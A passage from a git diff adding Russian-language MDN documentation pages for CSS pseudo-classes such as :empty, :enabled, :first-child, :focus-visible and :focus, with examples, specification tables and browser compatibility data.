+<p>{{ Cssxref("pseudo-classes", "Псевдокласс") }} <code>:empty</code> находит любой элемент, у которого нет потомков. Учитываются элементы и текст (включая пробелы). Комментарии не повлияют на то, что элемент будет рассматриваться как не пустой.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">&lt;element&gt;:empty { <em>/* стили</em> */ }
+</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: css notranslate">.box {
+  background: red;
+  height: 200px;
+  width: 200px;
+}
+
+.box:empty {
+  background: lime;
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="box"&gt;&lt;!-- Я буду лаймовым --&gt;&lt;/div&gt;
+&lt;div class="box"&gt;Я буду красным&lt;/div&gt;
+&lt;div class="box"&gt;
+    &lt;!-- Я буду красным, так как перед комментарием стоят пробелы --&gt;
+&lt;/div&gt;</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#empty-pseudo', ':empty') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#empty-pseudo', ':empty') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("css.selectors.empty")}}</p>
diff --git a/files/ru/web/css/_colon_enabled/index.html b/files/ru/web/css/_colon_enabled/index.html
new file mode 100644
index 0000000000..0425ffaeda
--- /dev/null
+++ b/files/ru/web/css/_colon_enabled/index.html
@@ -0,0 +1,136 @@
+---
+title: ':enabled'
+slug: 'Web/CSS/:enabled'
+translation_of: 'Web/CSS/:enabled'
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдо-класс</a> <code>:enabled</code> находит любой включенный элемент. Элемент включен, если его можно активировать (например, выбрать, нажать на него или ввести текст) или поставить фокус. У элемента также есть отключенное состояние, когда его нельзя активировать или сфокусировать.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий пример делает цвет текста средне-зелёного оттенка, когда поле включено, и серым, когда отключено. Это позволяет понимать пользователю какие элементы интерактивны, а какие нет.</p>
+
+<div id="Enabled_Disabled_Inputs_Example">
+<p>Следующий HTML...</p>
+
+<pre class="brush:html">    &lt;form action="url_of_form"&gt;
+      &lt;label for="FirstField"&gt;Первое поле (включено):&lt;/label&gt; &lt;input type="text" id="FirstField" value="Lorem"&gt;&lt;br /&gt;
+      &lt;label for="SecondField"&gt;Второе поле (отключено):&lt;/label&gt; &lt;input type="text" id="SecondField" value="Ipsum" disabled="disabled"&gt;&lt;br /&gt;
+      &lt;input type="button" value="Submit" /&gt;
+    &lt;/form&gt;
+  </pre>
+
+<p>...используем со следующим CSS...</p>
+
+<pre class="brush:css; highlight:[1,4]">input:enabled {
+  color: #22AA22;
+}
+input:disabled {
+  color: #D9D9D9;
+}
+  </pre>
+
+<p>...результат:</p>
+
+<div>{{EmbedLiveSample("Enabled_Disabled_Inputs_Example",550,95)}}</div>
+
+<div>Заметьте, цвет текста кнопки также зелёный, так как она тоже включена.</div>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-enabled', ':enabled')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-enabled', ':enabled')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Определяет семантику HTML и форм.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#enableddisabled', ':enabled')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#pseudo-classes', ':enabled')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Отсылка к Селекторам Уровня 3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#enableddisabled', ':enabled')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Определён псевдо-класс, без семантики.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>2.1</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>9.0</td>
+   <td>9.5</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Cssxref(":disabled")}}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_first-child/index.html b/files/ru/web/css/_colon_first-child/index.html
new file mode 100644
index 0000000000..e31fc0391d
--- /dev/null
+++ b/files/ru/web/css/_colon_first-child/index.html
@@ -0,0 +1,133 @@
+---
+title: ':first-child'
+slug: 'Web/CSS/:first-child'
+tags:
+  - Псевдо-классы
+translation_of: 'Web/CSS/:first-child'
+---
+<div>{{CSSRef}}</div>
+
+<p>{{cssxRef('', 'CSS')}} {{cssxRef('Pseudo-classes', 'псевдо-класс')}} <strong><code>:first-child</code></strong> находит любой элемент, являющийся первым в своём родителе.</p>
+
+<pre class="brush: css no-line-numbers">&gt;
+/* Выбирает любой &lt;p&gt;, который является первым элементом
+   среди своих братьев и сестер */
+p:first-child {
+  color: lime;
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Как изначально определено, выбранный элемент должен иметь родителя. Начиная с Selectors Level 4, это больше не требуется.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простой_пример">Простой пример</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p&gt;This text is selected!&lt;/p&gt;
+  &lt;p&gt;This text isn't selected.&lt;/p&gt;
+&lt;/div&gt;
+
+&lt;div&gt;
+  &lt;h2&gt;This text isn't selected: it's not a `p`.&lt;/h2&gt;
+  &lt;p&gt;This text isn't selected.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">p:first-child {
+  color: lime;
+  background-color: black;
+  padding: 5px;
+}
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p><span>{{EmbedLiveSample('Простой_пример', 500, 200)}}</span></p>
+
+<h3 id="Стилизация_списка">Стилизация списка</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;Item 1&lt;/li&gt;
+  &lt;li&gt;Item 2&lt;/li&gt;
+  &lt;li&gt;Item 3
+    &lt;ul&gt;
+      &lt;li&gt;Item 3.1&lt;/li&gt;
+      &lt;li&gt;Item 3.2&lt;/li&gt;
+      &lt;li&gt;Item 3.3&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">ul li {
+  color: blue;
+}
+
+ul li:first-child {
+  color: red;
+  font-weight: bold;
+}</pre>
+
+<h4 id="Результат_2">Результат</h4>
+
+<p>{{EmbedLiveSample('Стилизация_списка')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#first-child-pseudo', ':first-child')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Соответствующие элементы не обязательно должны иметь родителя</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#first-child-pseudo', ':first-child')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#first-child', ':first-child')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+
+
+<p>{{Compat("css.selectors.first-child")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{CSSxRef(":-moz-first-node")}} {{Non-standard_Inline}}</li>
+ <li>{{CSSxRef(":first-of-type")}}</li>
+ <li>{{CSSxRef(":last-child")}}</li>
+ <li>{{CSSxRef(":nth-child", ":nth-child()")}}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_first-of-type/index.html b/files/ru/web/css/_colon_first-of-type/index.html
new file mode 100644
index 0000000000..4a43ca3ca1
--- /dev/null
+++ b/files/ru/web/css/_colon_first-of-type/index.html
@@ -0,0 +1,118 @@
+---
+title: ':first-of-type'
+slug: 'Web/CSS/:first-of-type'
+tags:
+  - Псевдоклассы
+translation_of: 'Web/CSS/:first-of-type'
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p><a href="/ru/docs/CSS" title="CSS">CSS</a> <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдокласс</a> <code>:first-of-type</code> находит первого потомка своего типа среди детей родителя.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">element:first-of-type { <em>/* стили</em> */ }
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Этот пример показывает, как применится универсальный селектор, если простой селектор не написан.</p>
+
+<pre class="brush: css">div :first-of-type {
+  background-color: lime;
+}</pre>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;span&gt;Это span первый!&lt;/span&gt;
+  &lt;span&gt;Это span нет. :(&lt;/span&gt;
+  &lt;span&gt;что насчёт этого &lt;em&gt;вложенного элемента&lt;/em&gt;?&lt;/span&gt;
+  &lt;strike&gt;Это другой тег&lt;/strike&gt;
+  &lt;span&gt;Грустно, это тоже нет...&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<p>...сработает так:</p>
+
+<div>{{EmbedLiveSample('Пример','100%', '120')}}</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#first-of-type-pseudo', ':first-of-type')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#first-of-type-pseudo', ':first-of-type')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>9.5</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>2.1</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Cssxref(":nth-of-type")}}, {{Cssxref(":last-of-type")}}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_first/index.html b/files/ru/web/css/_colon_first/index.html
new file mode 100644
index 0000000000..b67ccdff29
--- /dev/null
+++ b/files/ru/web/css/_colon_first/index.html
@@ -0,0 +1,102 @@
+---
+title: ':first'
+slug: 'Web/CSS/:first'
+tags:
+  - '@page'
+  - CSS
+  - Псевдо-класс
+  - Разметка
+translation_of: 'Web/CSS/:first'
+---
+<div></div>
+
+<p><a href="/ru/docs/Web/CSS">CSS</a> <a href="/ru/docs/Web/CSS/%D0%9F%D1%81%D0%B5%D0%B2%D0%B4%D0%BE-%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D1%8B">псевдокласс</a> <strong><code>:first</code></strong> используется с @-правилом  {{cssxref("@page")}}, представляя первую страницу документа при печати.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Выбирает первую страницу при печати */
+@page :first {
+  margin-left: 50%;
+  margin-top: 50%;
+}</pre>
+
+<div class="note">
+<p><strong>Обратите внимани:</strong> Вы можете изменять не все CSS свойства в этом псевдо-классе. Вы можете изменять только внешние отступы, {{cssxref("orphans")}}, {{cssxref("widows")}}, и разбитие документа на страницы. Более того, вы можете использовать только <a href="/en-US/docs/Web/CSS/размер#Абсолютные_единицы_измерения_размера">абсолютные единицы измерения</a>, определяя внешние отступы. Все остальные правила будут проигнорированы.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;Первая страница.&lt;/p&gt;
+&lt;p&gt;Вторая страница.&lt;/p&gt;
+&lt;button&gt;Напечатать&lt;/button&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">@page :first {
+  margin-left: 50%;
+  margin-top: 50%;
+}
+
+p {
+  page-break-after: always;
+}
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">document.querySelector("button").onclick = function () {
+  window.print();
+}
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>Нажмите кнопку "Напечатать", чтобы напечатать пример. Слова на первой странице должны быть примерно в центре, тогда как на остальных страницах надписи будут на своих обычных местах.</p>
+
+<p>{{ EmbedLiveSample('Example', '80%', '150px') }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Paged Media', '#left-right-first', ':first')}}</td>
+   <td>{{Spec2('CSS3 Paged Media')}}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'page.html#page-selectors', ':first')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("css.selectors.first")}}</p>
+
+
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Cssxref("@page")}}</li>
+ <li>Другие связанные псевдо-классы: {{Cssxref(":left")}}, {{Cssxref(":right")}}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_focus-visible/index.html b/files/ru/web/css/_colon_focus-visible/index.html
new file mode 100644
index 0000000000..3859888faa
--- /dev/null
+++ b/files/ru/web/css/_colon_focus-visible/index.html
@@ -0,0 +1,126 @@
+---
+title: ':focus-visible'
+slug: 'Web/CSS/:focus-visible'
+translation_of: 'Web/CSS/:focus-visible'
+---
+<div>Псевдокласс <strong><code>:focus-visible</code></strong> применяется, в то время как элемент соответствует псевдоклассу <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">:focus</span></font>, и UA ({{glossary("User Agent")}}) определяет с помощью эвристики, что фокус должен быть сделан очевидным для элемента.</div>
+
+<p>Этот селектор полезен для предоставления другого индикатора фокуса, основанного на модальности ввода пользователя (мышь против клавиатуры).</p>
+
+<p>Обратите внимание, что Firefox поддерживает аналогичную функциональность через старый псевдокласс с префиксом <code>:-moz-focusring</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Базовый_пример">Базовый пример</h3>
+
+<p>В этом примере селектор <code>:focus-visible</code> использует поведение UA, чтобы определить, когда соответствовать. Сравните, что происходит, когда вы щелкаете мышью по разным элементам управления, и что происходит при переходе по ним с помощью клавиатуры. Обратите внимание на разницу в поведении элементов, оформленных с помощью <code>:focus</code>.</p>
+
+<pre class="brush: html notranslate">&lt;input value="Default styles"&gt;&lt;br&gt;
+&lt;button&gt;Default styles&lt;/button&gt;&lt;br&gt;
+&lt;input class="focus-only" value=":focus only"&gt;&lt;br&gt;
+&lt;button class="focus-only"&gt;:focus only&lt;/button&gt;&lt;br&gt;
+&lt;input class="focus-visible-only" value=":focus-visible only"&gt;&lt;br&gt;
+&lt;button class="focus-visible-only"&gt;:focus-visible only&lt;/button&gt;</pre>
+
+<pre class="brush: css highlight[9] notranslate">input, button {
+  margin: 10px;
+}
+
+.focus-only:focus {
+  outline: 2px solid black;
+}
+
+.focus-visible-only:focus-visible {
+  outline: 4px dashed darkorange;
+}
+</pre>
+
+<p>{{EmbedLiveSample("Basic_example", "100%", 300)}}</p>
+
+<h3 id="Выборочное_отображение_индикатора_фокусировки">Выборочное отображение индикатора фокусировки</h3>
+
+<p>Пользовательский элемент управления, такой как кнопка <a href="/en-US/docs/User:Andreas_Wuest/Custom_Elements">настраиваемого элемента</a>, может использовать: focus-visible для выборочного применения индикатора фокуса только к фокусу клавиатуры. Это соответствует собственному поведению фокуса для таких элементов управления, как {{htmlelement ("button")}}.</p>
+
+<pre class="brush: html notranslate">&lt;custom-button tabindex="0" role="button"&gt;Click Me&lt;/custom-button&gt;</pre>
+
+<pre class="brush: css highlight[13, 19] notranslate">custom-button {
+  display: inline-block;
+  margin: 10px;
+}
+
+custom-button:focus {
+  /* Обеспечьте резервный стиль для бразеров,
+которые не поддреживают: focus-visible */
+  outline: none;
+  background: lightgrey;
+}
+
+custom-button:focus:not(:focus-visible) {
+  /* Remove the focus indicator on mouse-focus for browsers
+     that do support :focus-visible */
+  background: transparent;
+}
+
+custom-button:focus-visible {
+  /* Draw a very noticeable focus style for
+     keyboard-focus on browsers that do support
+     :focus-visible */
+  outline: 4px dashed darkorange;
+  background: transparent;
+}</pre>
+
+<p>{{EmbedLiveSample("Selectively_showing_the_focus_indicator", "100%", 300)}}</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>You can polyfill <code>:focus-visible</code> using <a href="https://github.com/WICG/focus-visible">focus-visible.js</a>.</p>
+
+<h2 id="Accessibility_concerns">Accessibility concerns</h2>
+
+<h3 id="Low_vision">Low vision</h3>
+
+<p>Make sure the visual focus indicator can be seen by people with low vision. This will also benefit anyone use a screen in a brightly lit space (like outside in the sun). <a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">WCAG 2.1 SC 1.4.11 Non-Text Contrast</a> requires that the visual focus indicator be at least 3 to 1.</p>
+
+<ul>
+ <li>Accessible Visual Focus Indicators: <a href="https://www.deque.com/blog/give-site-focus-tips-designing-usable-focus-indicators/">Give Your Site Some Focus! Tips for Designing Useful and Usable Focus Indicators</a></li>
+</ul>
+
+<h3 id="Cognition">Cognition</h3>
+
+<p>It may not be obvious as to why the focus indicator is appearing and disappearing if a person is using mixed forms of input. For users with cognitive concerns, or who are less technologically literate, this lack of consistent behavior for interactive elements may be confusing.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#the-focus-visible-pseudo", ":focus-visible")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.selectors.focus-visible")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{CSSxRef(":focus")}}</li>
+ <li>{{CSSxRef(":focus-within")}}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_focus-within/index.html b/files/ru/web/css/_colon_focus-within/index.html
new file mode 100644
index 0000000000..139fc9216e
--- /dev/null
+++ b/files/ru/web/css/_colon_focus-within/index.html
@@ -0,0 +1,89 @@
+---
+title: ':focus-within'
+slug: 'Web/CSS/:focus-within'
+translation_of: 'Web/CSS/:focus-within'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-classes">Псевдо-класс</a> <strong><code>:focus-within</code></strong> соответствует элементу, который либо сам находится в фокусе, либо содержит элемент, который находится в фокусе. Другими словами, он представляет элементу, который соответствует псевдоклассу {{CSSxRef(":focus")}} либо имеет потомка, который соответствует <code>:focus</code>. (Включая потомков в <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">shadow trees</a>.)</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Выделяет &lt;div&gt; когда один из его потомков находится в фокусе */
+div:focus-within {
+  background: cyan;
+}</pre>
+
+<p>Этот селектор может оказаться полезным, например, для подсвечивания всего контейнера {{HTMLElement("form")}}, когда пользователь устанавливает фокус на одном из его полей ввода {{HTMLElement("input")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В этом примере форма раскрашивается при помощи специального правила стилей, когда один из её дочерних полей для ввода находится в фокусе.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;Try typing into this form.&lt;/p&gt;
+
+&lt;form&gt;
+  &lt;label for="given_name"&gt;Given Name:&lt;/label&gt;
+  &lt;input id="given_name" type="text"&gt;
+  &lt;br&gt;
+  &lt;label for="family_name"&gt;Family Name:&lt;/label&gt;
+  &lt;input id="family_name" type="text"&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css highlight[7] notranslate">form {
+  border: 1px solid;
+  color: gray;
+  padding: 4px;
+}
+
+form:focus-within {
+  background: #ff8;
+  color: black;
+}
+
+input {
+  margin: 4px;
+}
+</pre>
+
+<h3 id="Итог">Итог</h3>
+
+<p>{{EmbedLiveSample("Example", 500, 150)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#the-focus-within-pseudo", ":focus-within")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице сгенерирована из структурированных данных. Если у вас есть желание внести свой вклад в наполнение данных, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам пул-реквест.</div>
+
+<p>{{Compat("css.selectors.focus-within")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{CSSxRef(":focus")}}</li>
+ <li>{{CSSxRef(":focus-visible")}} {{Experimental_Inline}}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_focus/index.html b/files/ru/web/css/_colon_focus/index.html
new file mode 100644
index 0000000000..fb2ecaf22e
--- /dev/null
+++ b/files/ru/web/css/_colon_focus/index.html
@@ -0,0 +1,115 @@
+---
+title: ':focus'
+slug: 'Web/CSS/:focus'
+tags:
+  - CSS
+  - Layout
+  - Reference
+  - Web
+  - Веб
+  - Псевдо-классы
+  - Раскладка
+translation_of: 'Web/CSS/:focus'
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдо-класс</a> <strong><code>:focus</code></strong> применяется, когда элемент (такой как input формы) получает фокус. Обычно он активируется при клике мышью пользователем или при выборе элемента с использованием клавиши "tab" на клавиатуре.</p>
+
+<pre class="brush: css no-line-numbers">/* Selects any &lt;input&gt; when focused */
+input:focus {
+  color: red;
+}</pre>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Этот псевдо-класс применяется только тогда, когда в фокусе находится сам элемент. Используйте {{CSSxRef(":focus-within")}}, если вы хотите выбрать элемент, в котором находится сфокусорованный элемент.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input class="red-input" value="Я буду красным, если на меня попадёт фокус"&gt;
+&lt;input class="lime-input" value="Я буду лаймовым при фокусе"&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.red-input:focus {
+  color: red;
+}
+
+.lime-input:focus {
+  color: lime;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Пример', '100%', 40)}}</p>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<p>Убедитесь что визуальный индикатор фокусировки хорошо виден людям с плохим зрением. Это также поможет любым другим людям, которые используют экран в ярко освещённом месте (например, на солнце). <a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">WCAG 2.1 SC 1.4.11 Non-Text Contrast</a> (<em>WCAG 2.1 SC 1.4.11 Нетекстовой контраст</em>) требует, чтобы контраст визуального индикатора фокуса должен быть не менее 3 к 1.</p>
+
+<ul>
+ <li>Доступность визуальных индикаторов фокуса: <a href="https://www.deque.com/blog/give-site-focus-tips-designing-usable-focus-indicators/">Добавьте на ваш сайт фокус! Советы по разработке полезных и удобных индикаторов фокуса</a></li>
+</ul>
+
+<h3 id="focus_outline_none"><code>:focus { outline: none; }</code></h3>
+
+<p><strong>Никогда</strong> не удаляйте фокусный outline (видимый индикатор фокуса), не заменяя его фокусным контуром подходящим под требования <a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">WCAG 2.1 SC 1.4.11 Non-Text Contrast</a></p>
+
+<ul>
+ <li>Небольшой совет: <a href="https://a11yproject.com/posts/never-remove-css-outlines/">Никогда не удаляйте CSS контуры</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-focus', ':focus')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Определяет HTML семантику</td>
+  </tr>
+  <tr>
